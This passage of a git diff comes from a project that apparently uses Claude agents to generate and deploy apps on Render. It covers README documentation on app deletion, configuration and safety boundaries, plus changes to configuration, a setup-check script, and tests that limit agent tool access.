gateway claims every run of the app as `deleting` and dispatches the - `delete-app` task. While a run of the app is still running, it refuses with - `409`. A run that chooses the app while the delete is in progress stops - before it builds. -2. `remove-app-from-blueprint` writes `deletedAt` into the app's - `factory.json` and pushes a root `render.yaml` without the app. This commit - removes no source file, so a service that builds from it still has all of - its files. -3. `wait-for-blueprint-syncs` waits a minute, and then until no sync of the - Blueprint waits or runs. Only a sync of an earlier commit still declares - the app, and that sync would recreate a resource that the delete removed. A - push that only removes resources starts no sync, and Render still lists the - resources under the Blueprint, so that list is no signal. -4. `delete-app-resources` deletes the app's services, then its databases and - their data, and then the app's Render project. In that project, it deletes - only the resources whose names start with `vibe---`. Any other - resource stays, and so does the project. -5. `remove-app-files` removes `apps///` in a second commit. Then - `delete-app` deletes the runs. - -```bash -curl -X DELETE -H "Authorization: Bearer $FACTORY_API_KEY" "$GATEWAY_URL/v1/apps/$RUN_ID" -``` - -While the status is `deleting`, `GET /v1/apps/:runId` shows the step in -`progress`. When the delete is done, it returns `404`. A delete that fails sets -`delete_failed`, with the reason in `summary`. Fix the cause and send the -`DELETE` again: the new attempt continues from where the last one stopped. The -app's files stay in the Git history of the apps repository. - -Steps 2 to 5 are subtasks of `delete-app`. In the Render Dashboard, each one is -a run of its own under the `delete-app` run, with its input, its result, and -its logs. Each log line is a JSON object with an `event`: - -| Task | Events | -| --- | --- | -| `remove-app-from-blueprint` | `app_removed_from_blueprint`, with the commit, or `null` when an earlier attempt pushed it; `app_spec_not_found` | -| `wait-for-blueprint-syncs` | `push_event_wait`; `blueprint_syncs_unfinished` each time the list of unfinished syncs changes; `blueprint_syncs_finished`; `blueprint_not_found`; `render_read_failed` for each failed read of Render, with the attempt and the error | -| `delete-app-resources` | `render_resource_deleted` and `render_resource_kept` for each resource; `render_project_not_empty` for each refused attempt; `render_project_deleted`; `render_project_not_found` | -| `remove-app-files` | `app_files_removed`, with the commit | -| `delete-app` | `app_deleted`, with the deleted resources; `app_delete_failed`, with the error | - -## Why Blueprints are the write path - -Nothing in this repository calls a Render API to create infrastructure. The -factory writes YAML, commits it, and Render syncs it. That design has three -useful consequences: - -- **Env wiring is declarative.** `fromDatabase` puts `DATABASE_URL` on the API - and `fromService` puts the API's public hostname into the storefront's build. No - code ever reads a connection string, so no connection string can leak - through one. -- **Every deploy is reviewable.** Everything the factory has ever provisioned - is a diff in the apps repository. -- **An agent cannot provision anything.** Not because we asked it not to, but - because the only path to a new service is a commit, and agents do not run - git. - -The agents read Render through read-only MCP tools: the architect explores the -workspace while it designs, and the deploy manager reads the details of a -service or a deploy. No agent can read logs. Workflow code reads service and -deploy state, and the logs of a failed deploy, from the REST API. It removes -the secrets from the logs before the deploy manager gets them. - -Deletion is the one exception to the rule. A Blueprint change never deletes a -resource, so `app/teardown.ts` calls the Render API to delete the resources of -a deleted app, after the app has left the Blueprint. See -[Delete an app](#delete-an-app). - -## The apps repository - -```text -render.yaml the Blueprint Render watches -apps/ - demo/ - handcrafted-furniture-catalog/ - factory.json machine-readable spec for this app - render.yaml this app's own Blueprint - README.md - .gitignore node_modules/ and static build output - web/ static storefront (rootDir) - api/ Hono + pg service (rootDir) - gopher-dates/ - … -``` - -The root `render.yaml` is regenerated from every `factory.json` on each run, which -is why the specs are stored as JSON: appending an app never means parsing YAML -back out. Each app also carries its own self-contained `render.yaml`, so a -generated app can graduate out of the shared Blueprint — create a Blueprint -pointing at `apps///render.yaml` and it stands alone. - -Each app's `.gitignore` comes from its manifest. It ignores `node_modules/` and -each static site's publish directory, because the `buildCommand` makes them -again on Render. Verification deletes every ignored file before it builds, so -a build that needs one fails in the sandbox and not in a deploy. - -Resources are named `vibe---{web,api,db}`, so one workspace can hold -every generated app without collisions. Each app is also its own Render -project, named `vibe--`, with one `production` environment that -holds its site, API, and database, so the Dashboard groups them by app. - -After you [deploy the factory](#deploy-the-factory), connect the apps repository -Blueprint once so pushes deploy automatically. - -## Where to look in the code - -- Start with `app/workflow.ts` for the control flow, then the stage modules - (`build`, `verify`, `publish`, `deploy`, `delete`), and `factory.config.ts` for - configurable plans, limits, models, and asset policy. -- Read `app/blueprint.ts`, `app/contracts.ts`, and `app/templates.ts` together - to see how model output becomes constrained deployable infrastructure. -- Read `app/claude.ts`, `app/tools.ts`, and `app/policy.ts` together to inspect - the model-to-machine and model-to-Render trust boundaries. -- Read `app/gateway.ts` and `app/store.ts` for authentication, idempotency, - progress, concurrency, and reconciliation. -- Read `removeApp()` in `app/workflow.ts`, then `app/delete.ts` and - `app/teardown.ts`, for the order of a delete and what it can delete. - -For a presentation-sized system diagram, see -[Architecture at a glance](../README.md#architecture-at-a-glance). Field-demo -talking points live in [FAQ for field engineering](FAQ.md). - -Agent conventions and invariants are documented in [AGENTS.md](../AGENTS.md). - -## Get started (local development) - -### Prerequisites - -- Node.js 22+ and Docker, for local Postgres -- The Render CLI, authenticated, and a workspace with Workflows and Sandboxes -- An Anthropic API key -- An empty GitHub repository for generated apps, and a credential that can push - to it - -### Install - -```bash -npm ci -cp .env.example .env # then fill it in -npm run dev:postgres -npm run db:migrate -``` - -Then, in separate terminals: - -```bash -npm run dev:gateway # http://localhost:3000 -npm run dev:workflows # needs the authenticated Render CLI -``` - -`dev:workflows` starts the Render CLI's local task server on port 8120. -`dev:gateway` sets `RENDER_USE_LOCAL_DEV=true`, so the gateway starts and -reads tasks on that server, not on a deployed Workflows service. The local -server finds a task by its name and ignores the slug, so the `.env.example` -value of `RENDER_WORKFLOW_SLUG` works. Do not put `RENDER_USE_LOCAL_DEV` in -`.env`: the workflows host loads that file too, and it must use the Render -API. If `dev:workflows` is not running, a submission fails with -`dispatch failed`. To see the tasks that the local server registered: - -```bash -render workflows tasks list --local -``` - -`dev:workflows` runs locally but creates real Render Sandboxes and can deploy -real, billable resources. Local development changes where orchestration runs; -it does not emulate the Render data plane. - -Open `http://localhost:3000` and sign in with `UI_USERNAME` and `UI_PASSWORD`. -You can submit a prompt while other runs build, up to the cap of three runs. -The history shows the stage of each run. -The **Table view** button opens `/table`, which shows the same runs as tables: -the sites with their URLs, the time that each run took, and a delete button, -and the stages with what each one does, where it runs, how long it took, and -links to the workflow run and the sandbox in the Render Dashboard. A timer -counts the seconds of the stage that runs now. Local task runs are not in the -Dashboard, so local development shows no workflow links. -The UI calls same-origin `/ui` endpoints; `FACTORY_API_KEY` stays on the -gateway and is never delivered to browser JavaScript. `UI_USERNAME` is also -the generated-app namespace: a user named `jacob` creates apps under -`apps/jacob/` with resources named `vibe-jacob-...`. It must be a lowercase -slug. - -Submit an idea in the UI, or run the same flow from a terminal: - -```bash -npm run demo -- "Create an online catalog for handcrafted furniture" -``` - -The command follows the durable status endpoint until it prints the generated -app's public URLs and Blueprint path. - -Cursor’s embedded preview does not always display HTTP Basic Auth prompts. For -local preview only, set `UI_AUTH_DISABLED=true`; the bypass is ignored whenever -`NODE_ENV=production`. - -## Deploy the factory - -1. Create a Blueprint from this repository's `render.yaml`. It provisions the - gateway, the Workflows service, and their Postgres database in the - `production` environment of a `vibe-factory` project. It also sets - `DATABASE_URL` on both services, and the gateway's `RENDER_WORKFLOW_SLUG` - to the workflow's slug. -2. Fill in the unsynced variables when the Dashboard prompts for them. Each - one is described in [Configuration](#configuration). For GitHub, set the - three `GITHUB_APP_*` variables or `GITHUB_TOKEN`. -3. Run `npm run doctor` before a demonstration to verify the cross-service - wiring. - -If you created the Workflows service by hand before `render.yaml` defined it, -rename it to `vibe-factory-workflows` before the next Blueprint sync. The -Blueprint then adopts it and keeps its environment variables. Otherwise the -sync creates a second workflow without its secrets and points the gateway at -it. - -### Connect the generated-apps Blueprint once - -Render has no API for creating a Blueprint, so this is the one manual step — -and it happens once, not per app. - -1. Run the factory once. The run commits its app and finishes as - `awaiting_blueprint`, because nothing is watching the repository yet. -2. In the Render Dashboard, open the workspace that `RENDER_WORKSPACE_ID` - names. The factory looks for the Blueprint only there. Then **New > - Blueprint**, pick the apps repository, branch `main`, and leave Blueprint - Path as `render.yaml`. -3. Confirm **Auto Sync** is on. - -From then on every run deploys on push. `npm run doctor` checks all of this and -tells you which step is missing. - -```bash -npm run doctor # read-only; exits non-zero so CI can gate on it -npm run check # Biome, tsc, Vitest -``` - -## Configuration - -| Variable | Service | Purpose | -| --- | --- | --- | -| `APPS_REPO` | Both | The one repository generated apps are committed to | -| `FACTORY_API_KEY` | Gateway | Bearer token for `POST /v1/apps`; generated by the Blueprint, set manually for local development | -| `UI_USERNAME` | Gateway | UI login and generated-app namespace; lowercase slug | -| `UI_PASSWORD` | Gateway | HTTP Basic Auth password; 16+ characters | -| `RENDER_WORKFLOW_SLUG` | Gateway | Workflows service slug, without a task name | -| `DATABASE_URL` | Both | Postgres connection string for the runs table | -| `RENDER_API_KEY` | Both | Task dispatch; Sandboxes; the MCP tools of the agents; reads of services, deploys, and Blueprints; the deletes of a deleted app's resources | -| `RENDER_WORKSPACE_ID` | Workflows | Workspace sandboxes and services live in | -| `ANTHROPIC_API_KEY` | Workflows | Claude Agent SDK credential | -| `GITHUB_APP_ID` | Workflows | GitHub App ID (preferred over a PAT) | -| `GITHUB_APP_PRIVATE_KEY` | Workflows | PEM, escaped PEM, or base64 | -| `GITHUB_APP_INSTALLATION_ID` | Workflows | Installation on `APPS_REPO` | -| `GITHUB_TOKEN` | Workflows | Fine-grained PAT; fallback when no App is set | -| `RENDER_MCP_URL` | Workflows | Optional MCP endpoint override | -| `FACTORY_GATEWAY_URL` | CLI | Optional gateway used by `npm run demo` | -| `FACTORY_USER` | CLI | Optional generated-app namespace used by the demo | -| `PORT` | Gateway | Optional HTTP port; defaults to `3000` | - -Everything else lives in `factory.config.ts`: the clone directory, the branch the -Blueprint tracks, service and database plans, region, the asset host allowlist, -the concurrency cap, and the model tiers. - -Copy `.env.example` when setting up locally. - -## Troubleshooting a stuck run - -`GET /v1/apps/:runId` returns both a coarse `stage` and a human-readable -`progress` value: - -- `verifying`: `verify-app` builds, boots, and queries the app in the sandbox. If it does not finish in 30 minutes, for example because a build command does not exit, the run ends as `failed`. -- `waiting_for_services`: Blueprint sync has not created every expected service. -- `waiting_for_deploys`: at least one Render deploy has not reached a terminal state. After a repair push, it can also mean that Render has not started the new deploy of a failed service yet. If Render does not start one in 15 minutes, the run ends as `deploy_failed`. -- `smoke_testing`: deploys are live; public URL, API hostname, data, or CORS checks are still running. Render can route a new hostname some minutes after its first deploy is live, and until then the URL gives 404. So the first check of the site and of the API health endpoint waits up to 10 minutes, and the data check waits up to 3 minutes. -- `done`: the stored run is terminal. - -All deploy and HTTP waits have deadlines and heartbeat the database. The -gateway also stores the Render task-run ID and periodically reconciles a -`running` or `deleting` row with Workflows. If the task failed or was canceled -before it wrote its result, for example at a timeout, the next status poll, -or the next refresh of the list in the UI, marks the row failed and releases -its concurrency slot. A task that succeeds -writes its result before it returns. - -A service or deploy wait does a failed Render read again after five seconds, -and `progress` shows the attempt and the error. Five failures in sequence end -the run as `failed`, with the last error in `summary`. An authentication -failure (401 or 403) ends the run at once, because a new attempt cannot repair -the API key. The Blueprint lookup does a failed request again in the same way. -If the lookup cannot finish, the run ends as `failed`, not as -`awaiting_blueprint`. - -While a delete runs, the status is `deleting`, and `progress` names the step. -`wait-for-blueprint-syncs` does a failed Render read again in the same way. -Five failures in sequence, or a 401 or 403, end the delete as -`delete_failed`. A `delete_failed` run keeps the reason in `summary`. Two -causes need you to act before you delete again: - -- A sync of the apps Blueprint did not finish in six minutes. Let it finish, - or fix it, in the Render Dashboard. -- The app's project holds a resource that the factory did not create. Delete - or move it in the Render Dashboard. - -In the Render Dashboard, the run of the step that failed is under the -`delete-app` run. For the first cause, `wait-for-blueprint-syncs` logs each -sync that did not finish in a `blueprint_syncs_unfinished` event. For the -second, `delete-app-resources` logs the resource, with its ID, in a -`render_resource_kept` event. - -Run `npm run doctor` to verify factory and Blueprint wiring before debugging individual runs. - -## Adaptation seams - -- **Render primitives:** extend the manifest contract, Blueprint generator, and - verification together. Keeping that path closed forces each resource type to - be modeled deliberately instead of accepting arbitrary agent-authored YAML. -- **Agent roles:** add a task only when a distinct context or capability - boundary is useful. Grant sandbox or Render tools explicitly and keep the - allowlist test as the executable access review. -- **Templates:** add one when a target architecture has contracts the model - should not rediscover on every run. Keep templates versioned and built in CI; - the tradeoff is committing to a narrower stack. -- **External assets:** treat each new source as an egress-policy change, not - just a search integration. Host, content type, size, and destination checks - belong in workflow code, as in `app/images.ts`. -- **Review:** this demo favors deterministic and deployed checks over model - reviewers. For higher-risk generation, add review before publishing as - `render-factory` does, accepting the extra latency and model cost. - -See [AGENTS.md](../AGENTS.md) for checklists when adding agents, primitives, or pipeline stages. - -## Safety boundaries - -- The bearer token is compared in constant time, and the body is capped before - it is parsed. -- The gateway never receives the GitHub credential or the Anthropic key. -- Claude's built-in `Bash`, `Read`, `Write`, and `Edit` are never granted; - `runClaude` always passes `tools: []` for built-ins. Every action an agent - takes goes through a workflow-owned sandbox tool. -- The build, pre-deploy, and start commands are agent-authored. They run in - the sandbox of the run and in the app's own services on Render, and neither - place holds a credential of the factory. -- `checkToolCall` runs as a `PreToolUse` hook and vetoes paths outside the app - directory and `/tmp`, and any Render MCP tool that is not on the read-only - allowlist. It does not read shell commands: a pattern cannot tell a safe - command from a harmful one, and the sandbox limits what a command can reach. -- The sandbox that the agents use holds only the app of the run: no clone of - the apps repository and no GitHub token. So an agent cannot publish, and it - cannot read or change another app. The trigger for a deploy is a commit that - only workflow code can make. -- `publish-app` treats the files of the build as data. It copies only regular - files with plain paths below the app directory, up to 50 MB, and pushes - from a clone in a sandbox that no agent used. The clone checks out a - symbolic link as a plain file. -- Each commit changes only `apps///` and the root `render.yaml`, - and the push refuses a commit that changes a different path. The root - Blueprint takes a spec only from the directory of the app that it names. -- The only Render write API calls are the deletes in `app/teardown.ts`. The - `delete-app-resources` step of the `delete-app` task makes them, never an - agent, and only when no sync of the Blueprint waits or runs. They delete only - resources that carry - the app's name, in the app's own project. The UI can delete only the runs of - its own namespace. -- A delete and a run of the same app take the same Postgres advisory lock, so a - run cannot build an app while it is being deleted, or while a different run - builds it. -- The image download accepts only HTTPS, only allowlisted hosts, and only - `image/*` responses under the size cap. It writes only into the `assets/` - directory of the app, under a name that it makes. -- The push is verified against the remote SHA before the factory waits on a - deploy, so Render is always building the commit that passed verification. -- Malformed structured model output fails closed after one repair attempt. -- Secret-shaped strings, including anything resembling a connection string, are - redacted from API responses. -- The sandbox is terminated in a `finally` block. -- Postgres enforces idempotency and the concurrency cap through constraints - rather than application code. - -Implementation details and invariants for contributors are in [AGENTS.md](../AGENTS.md). - -## Current limitations - -- Every run, including one started from local development, consumes model - tokens and a real Render Sandbox. -- Creating the Blueprint is manual, once, because Render has no API for it. -- A workspace can hold only one factory from this `render.yaml`. Render does - not yet replicate workflows, so it rejects a second Blueprint that defines - `vibe-factory-workflows`. -- One deployment is bound to one apps repository and one branch. When - concurrent runs push at one time, a run whose push fails takes the new tip - and makes its change again; the cap is three runs at a time. -- UI authentication and user slugs are demonstration conveniences, not - tenant isolation, authorization, quotas, or abuse controls. -- Generated apps keep running until you delete them. Every run leaves a web - service, a static site, and a Postgres instance running, and they cost money - until then. -- A delete removes an app with all of its runs, not one run, because the runs - of an app share its files and resources. The files stay in the Git history. -- Generated apps run on paid plans by default: free web services spin down - after 15 minutes, and a workspace only gets one free Postgres. -- The sandbox's Postgres is a fresh 18 with no extensions installed, so an app - that needs one will pass verification only if it installs it itself. -- No reviewer stage or step-level resumability. Terminal Workflows runs are - reconciled. -- A failed run is final. Render Workflows does not retry `prompt-to-app`, - because a retry starts the full pipeline again after the run is `failed`. - The service and deploy waits and the Blueprint lookup do a failed Render - read again, up to five attempts in sequence. A transient GitHub or Render - API error in a different step still ends the run, for example in the clone. - Call the API again for a new run, which starts from the beginning. - -## Related - -- [FAQ for field engineering](FAQ.md) — live-demo talking points and quick answers diff --git a/factory.config.ts b/factory.config.ts index ebdcbd0..b260a73 100644 --- a/factory.config.ts +++ b/factory.config.ts @@ -47,7 +47,7 @@ export const factoryConfig: FactoryConfig = { blueprintPath: "render.yaml", render: { region: "oregon", - servicePlan: "starter", + servicePlan: "0.5c-512mb", databasePlan: "0.1c-256mb", postgresMajorVersion: "18", }, diff --git a/render.yaml b/render.yaml index 56ff615..4e18c1a 100644 --- a/render.yaml +++ b/render.yaml @@ -15,13 +15,13 @@ projects: databases: - name: vibe-factory-db - plan: basic-256mb + plan: 0.1c-256mb services: - type: web name: vibe-factory-gateway runtime: docker - plan: starter + plan: 0.5c-512mb # Applies app/schema.sql before any new instance serves traffic. preDeployCommand: npm run db:migrate healthCheckPath: /ready @@ -30,8 +30,6 @@ projects: fromDatabase: name: vibe-factory-db property: connectionString - - key: APPS_REPO - sync: false # Generated once when the Blueprint creates the gateway and # preserved across later syncs. - key: FACTORY_API_KEY diff --git a/scripts/doctor.ts b/scripts/doctor.ts index 98a5af1..c0ce894 100644 --- a/scripts/doctor.ts +++ b/scripts/doctor.ts @@ -13,13 +13,16 @@ import { renderWorkspaceId, uiCredentials, } from "../app/config.js"; -import { githubToken, usingGitHubApp } from "../app/git.js"; +import { githubToken, usingGitHubApp } from "../app/github.js"; import { RENDER_READ_ONLY_TOOLS } from "../app/policy.js"; import { findBlueprint, renderMcpUrl } from "../app/render.js"; import { db } from "../app/store.js"; import { exitWith, type Finding, heading, print } from "./support.js"; const API = process.env.GITHUB_API_URL ?? "https://api.github.com"; +const ANTHROPIC_API = ( + process.env.ANTHROPIC_BASE_URL ?? "https://api.anthropic.com" +).replace(/\/+$/, ""); const findings: Finding[] = []; function record(finding: Finding): void { @@ -119,6 +122,46 @@ function checkConfiguration(): void { } } +async function checkModels(): Promise { + heading("Models"); + + const apiKey = process.env.ANTHROPIC_API_KEY?.trim(); + if (!apiKey) { + record({ level: "warn", message: "Skipped — ANTHROPIC_API_KEY is not set" }); + return; + } + + for (const model of new Set(Object.values(factoryConfig.models))) { + try { + const response = await fetch( + `${ANTHROPIC_API}/v1/models/${encodeURIComponent(model)}`, + { + headers: { + "x-api-key": apiKey, + "anthropic-version": "2023-06-01", + }, + signal: AbortSignal.timeout(15_000), + }, + ); + record( + response.ok + ? { level: "ok", message: `Anthropic model ${model} is available` } + : { + level: "fail", + message: `Anthropic model ${model} is unavailable (HTTP ${response.status})`, + fix: "Choose a model ID returned by GET /v1/models and update factory.config.ts.", + }, + ); + } catch (error) { + record({ + level: "fail", + message: `Could not check Anthropic model ${model}`, + fix: error instanceof Error ? error.message : String(error), + }); + } + } +} + async function checkGitHub(): Promise { heading("Apps repository"); @@ -408,6 +451,7 @@ async function checkTasks(): Promise { } checkConfiguration(); +await checkModels(); await checkGitHub(); await checkBlueprint(); await checkRenderMcp(); diff --git a/scripts/support.ts b/scripts/support.ts index 594a46a..dbbb417 100644 --- a/scripts/support.ts +++ b/scripts/support.ts @@ -1,6 +1,5 @@ /** Shared output and prompt helpers for the setup scripts. */ -import { stdin, stdout } from "node:process"; -import { createInterface } from "node:readline/promises"; +import { stdout } from "node:process"; const useColor = !process.env.NO_COLOR && stdout.isTTY; @@ -34,21 +33,6 @@ export function print({ level, message, fix }: Finding): void { if (fix && level !== "ok") console.log(` ${dim(fix)}`); } -export async function ask(question: string, fallback?: string): Promise { - const rl = createInterface({ input: stdin, output: stdout }); - try { - const suffix = fallback ? ` ${dim(`(${fallback})`)}` : ""; - const answer = (await rl.question(`${question}${suffix}: `)).trim(); - return answer || fallback || ""; - } finally { - rl.close(); - } -} - -export async function confirm(question: string): Promise { - return /^y(es)?$/i.test(await ask(`${question} ${dim("(y/N)")}`)); -} - /** Every script exits non-zero on failure so CI can gate on it. */ export function exitWith(findings: Finding[]): never { const failed = findings.filter((f) => f.level === "fail").length; diff --git a/tests/agents.test.ts b/tests/agents.test.ts index a47be2c..1119d27 100644 --- a/tests/agents.test.ts +++ b/tests/agents.test.ts @@ -1,112 +1,58 @@ /** - * Tool access is the security boundary between an agent and the machine. - * These assertions are what keep the sandbox tools with the builder, and the - * architect from provisioning infrastructure. + * The executable access review. Tool access is the security boundary between + * an agent and the machine: these keep the sandbox tools with the builder, and + * every agent away from Render writes and Render logs. */ import { describe, expect, it } from "vitest"; import * as agents from "../app/agents.js"; import type { Agent } from "../app/claude.js"; -import { isRenderReadOnlyTool } from "../app/policy.js"; +import { RENDER_READ_ONLY_TOOLS } from "../app/policy.js"; const all: Agent[] = [agents.architect, agents.builder, agents.deployManager]; const toolNames = (agent: Agent) => (agent.tools ?? []).map((tool) => tool.name); describe("agent definitions", () => { - it("registers three agents with unique ids", () => { - expect(new Set(all.map((agent) => agent.id)).size).toBe(3); - }); - - it("gives every agent a prompt and a known model tier", () => { - for (const agent of all) { - expect(agent.prompt.length).toBeGreaterThan(0); - expect(["medium", "large"]).toContain(agent.model); - } - }); - - it("runs Sonnet agents at low effort", () => { - for (const agent of all.filter((candidate) => candidate.model === "medium")) { - expect(agent.effort).toBe("low"); - } - }); - - it("keeps ordinary websites on the fast static path", () => { - expect(agents.architect.prompt).toContain( - "Default to only a static_site for websites", - ); - expect(agents.architect.prompt).toMatch( - /A catalog alone\s+does not justify an API or database/, - ); - expect(agents.builder.prompt).toContain( - "dependency-free HTML, CSS, and JavaScript", - ); - expect(agents.builder.prompt).toContain( - "one user-facing sentence, at most 200 characters", - ); - }); - - // Verification deletes ignored files before it builds. A builder that does - // not know this keeps source in dist/ and loses it. - it("tells the builder that build output is not committed", () => { - expect(agents.builder.prompt).toMatch( - /deletes every ignored file before it builds/, - ); - expect(agents.builder.prompt).toMatch( - /buildCommand must\s+install the dependencies and write the\s+build output/, + it("gives sandbox tools only to the builder", () => { + expect(toolNames(agents.builder)).toEqual( + expect.arrayContaining([ + "sandbox__exec", + "sandbox__read_file", + "sandbox__write_file", + ]), ); - }); -}); - -describe("tool access", () => { - it("gives the architect no sandbox tools at all", () => { expect(toolNames(agents.architect)).toEqual([]); - }); - - it("gives the architect only read-only Render tools", () => { - const granted = agents.architect.renderTools ?? []; - expect(granted.length).toBeGreaterThan(0); - for (const name of granted) { - expect(isRenderReadOnlyTool(name)).toBe(true); - } - }); - - it("gives the deploy-manager no sandbox tools, only read-only Render tools", () => { expect(toolNames(agents.deployManager)).toEqual([]); - const granted = agents.deployManager.renderTools ?? []; - expect(granted.length).toBeGreaterThan(0); - for (const name of granted) { - expect(isRenderReadOnlyTool(name)).toBe(true); - } - }); - - it("gives the builder read + write tools", () => { - expect(toolNames(agents.builder)).toContain("sandbox__exec"); - expect(toolNames(agents.builder)).toContain("sandbox__write_file"); - expect(toolNames(agents.builder)).toContain("sandbox__read_file"); }); - it("gives no agent but the builder a sandbox tool", () => { - for (const agent of all.filter((candidate) => candidate.id !== "builder")) { - expect(toolNames(agent)).toEqual([]); + it("gives the architect and the deploy manager only read-only Render tools, and no agent a log tool", () => { + for (const agent of [agents.architect, agents.deployManager]) { + expect(agent.renderTools?.length, agent.id).toBeGreaterThan(0); } - }); - - it("never lets an agent reach Render with anything but reads", () => { for (const agent of all) { - for (const name of agent.renderTools ?? []) { - expect(isRenderReadOnlyTool(name)).toBe(true); - } + const granted = agent.renderTools ?? []; + expect(RENDER_READ_ONLY_TOOLS, agent.id).toEqual( + expect.arrayContaining([...granted]), + ); + expect( + granted.filter((name) => /log/i.test(name)), + agent.id, + ).toEqual([]); } + expect(RENDER_READ_ONLY_TOOLS.filter((name) => /log/i.test(name))).toEqual( + [], + ); + }); + + // The id is also the registered task name. + it("gives every agent a unique id", () => { + expect(new Set(all.map((agent) => agent.id)).size).toBe(all.length); }); - // Claude's own Bash/Read/Write/Edit would bypass the workflow-owned sandbox. - it("never grants a Claude built-in tool", () => { - const builtIns = ["Bash", "Read", "Write", "Edit", "NotebookEdit"]; + it("gives every agent task an explicit deadline", () => { for (const agent of all) { - for (const name of toolNames(agent)) { - expect(builtIns).not.toContain(name); - expect(name.startsWith("sandbox__")).toBe(true); - } + expect(agent.timeoutSeconds, agent.id).toBeGreaterThan(0); + expect(agent.timeoutSeconds, agent.id).toBeLessThanOrEqual(60 * 60); } }); }); diff --git a/tests/blueprint.test.ts b/tests/blueprint.test.ts index 885825e..173c01e 100644 --- a/tests/blueprint.test.ts +++ b/tests/blueprint.test.ts @@ -1,104 +1,57 @@ /** - * The Blueprint is the factory's only write path to Render, so what it emits - * is the thing most worth pinning down. Blueprints are now generated from the - * agent-declared service manifest. + * The Blueprint is the factory's only write path to Render, so this suite is + * the contract for what gets deployed. Each test parses the generated YAML + * and checks the structure Render would read. */ import { describe, expect, it } from "vitest"; import { parse } from "yaml"; +import { factoryConfig } from "../factory.config.js"; import { appBlueprint, declaredResources, joinServiceDir, - resourceNames, rootBlueprint, } from "../app/blueprint.js"; import type { AppSpec, Manifest, Service } from "../app/contracts.js"; -const fullManifest: Manifest = { - services: [ - { - name: "api", - kind: "web_service", - rootDir: "api", - runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - preDeployCommand: "npm run migrate", - healthCheckPath: "/health", - dataCheckPath: "/api/products", - envVars: [ - { - key: "DATABASE_URL", - fromDatabase: { property: "connectionString" }, - }, - ], - }, - { - name: "web", - kind: "static_site", - rootDir: "web", - runtime: "static", - buildCommand: "npm install && npm run build", - staticPublishPath: "./dist", - envVars: [ - { - key: "VITE_API_HOST", - fromService: { name: "api", envVarKey: "RENDER_EXTERNAL_HOSTNAME" }, - }, - ], - }, +const api: Service = { + name: "api", + kind: "web_service", + rootDir: "api", + runtime: "node", + buildCommand: "npm install", + startCommand: "npm start", + preDeployCommand: "npm run migrate", + healthCheckPath: "/health", + envVars: [ + { key: "DATABASE_URL", fromDatabase: { property: "connectionString" } }, ], - databases: [{ name: "main-db" }], }; -const staticOnlyManifest: Manifest = { - services: [ +const web: Service = { + name: "web", + kind: "static_site", + rootDir: "./web/", + runtime: "static", + buildCommand: "npm install && npm run build", + staticPublishPath: "./dist", + envVars: [ { - name: "site", - kind: "static_site", - rootDir: "site", - runtime: "static", - buildCommand: "npm install && npm run build", - staticPublishPath: "./dist", + key: "VITE_API_HOST", + fromService: { name: "api", envVarKey: "RENDER_EXTERNAL_HOSTNAME" }, }, ], }; -const apiOnlyManifest: Manifest = { - services: [ - { - name: "api", - kind: "web_service", - rootDir: ".", - runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - healthCheckPath: "/health", - }, - ], -}; - -/** The manifest allows six services and three databases; naming has to keep up. */ -const multiServiceManifest: Manifest = { - services: [ - ...fullManifest.services, - { - name: "Search Service", - kind: "web_service", - rootDir: "search", - runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - healthCheckPath: "/health", - }, - ], - databases: [{ name: "main-db" }, { name: "analytics" }], +const fullManifest: Manifest = { + services: [api, web], + databases: [{ name: "main-db" }], }; function spec(overrides: Partial = {}): AppSpec { return { user: "demo", - appName: "furniture-catalog", + appName: "shop", prompt: "Create an online catalog to sell handcrafted furniture", summary: "A storefront, an API, and Postgres behind it.", createdAt: "2026-01-01T00:00:00.000Z", @@ -108,373 +61,236 @@ function spec(overrides: Partial = {}): AppSpec { }; } -/** The full app, with some fields of its API and its storefront replaced. */ -function withServices( - api: Partial, - web: Partial = {}, -): AppSpec { - const [apiService, webService] = fullManifest.services; - return spec({ - manifest: { - ...fullManifest, - services: [ - { ...apiService, ...api }, - { ...webService, ...web }, - ], - }, - }); +interface ParsedService { + name: string; + runtime: string; + plan?: string; + region?: string; + rootDir: string; + buildCommand: string; + startCommand?: string; + preDeployCommand?: string; + healthCheckPath?: string; + buildFilter: { paths: string[] }; + envVars?: Record[]; } -/** The services of the first app in a Blueprint, after a YAML parse. */ -function parsedServices(yaml: string) { - return parse(yaml).projects[0].environments[0].services; +interface ParsedProject { + name: string; + environments: { + name: string; + services: ParsedService[]; + databases?: { name: string; plan: string; region: string }[]; + }[]; } -/** - * The Blueprint and verify-app join the same agent-written directories, so - * they must agree on each one. - */ -describe("joinServiceDir", () => { - it.each([ - ["web", "apps/demo/shop/web"], - ["./web/", "apps/demo/shop/web"], - [".", "apps/demo/shop"], - ["./", "apps/demo/shop"], - // A model repeats the path that it was given, or its end. - ["shop", "apps/demo/shop"], - ["apps/demo/shop", "apps/demo/shop"], - ])("joins %s onto the app directory", (dir, joined) => { - expect(joinServiceDir("apps/demo/shop", dir)).toBe(joined); - }); - - it("joins onto an absolute directory, as verify-app does", () => { - const app = "/home/user/repo/apps/demo/shop"; - expect(joinServiceDir(app, app)).toBe(app); - expect(joinServiceDir(`${app}/web`, "dist")).toBe(`${app}/web/dist`); - }); -}); - -describe("resourceNames", () => { - // A new default prefix must not rename the resources of an existing app. - it("takes the prefix from the spec, not from the factory configuration", () => { - const names = resourceNames(spec({ resourcePrefix: "acme" })); - expect(names.web).toBe("acme-demo-furniture-catalog-web"); - }); - - it("namespaces every resource by user and app", () => { - const names = resourceNames(spec()); - expect(names.web).toBe("vibe-demo-furniture-catalog-web"); - expect(names.api).toBe("vibe-demo-furniture-catalog-api"); - expect(names.db).toBe("vibe-demo-furniture-catalog-db"); - }); - - it("omits resources the app does not have", () => { - const names = resourceNames(spec({ manifest: staticOnlyManifest })); - expect(names.api).toBeNull(); - expect(names.db).toBeNull(); - }); - - it("has no storefront when the app is only an API", () => { - const names = resourceNames(spec({ manifest: apiOnlyManifest })); - expect(names.web).toBeNull(); - expect(names.api).toBe("vibe-demo-furniture-catalog-api"); - }); - - // Two resources collapsing onto one name overwrites one of them in the - // Blueprint rather than failing, so this is the check that matters. - it("gives every service and database a distinct name", () => { - const names = resourceNames(spec({ manifest: multiServiceManifest })); - const all = [...names.services.values(), ...names.databases.values()]; - expect(new Set(all).size).toBe(all.length); - }); - - it("keeps the primary names and names the rest after themselves", () => { - const names = resourceNames(spec({ manifest: 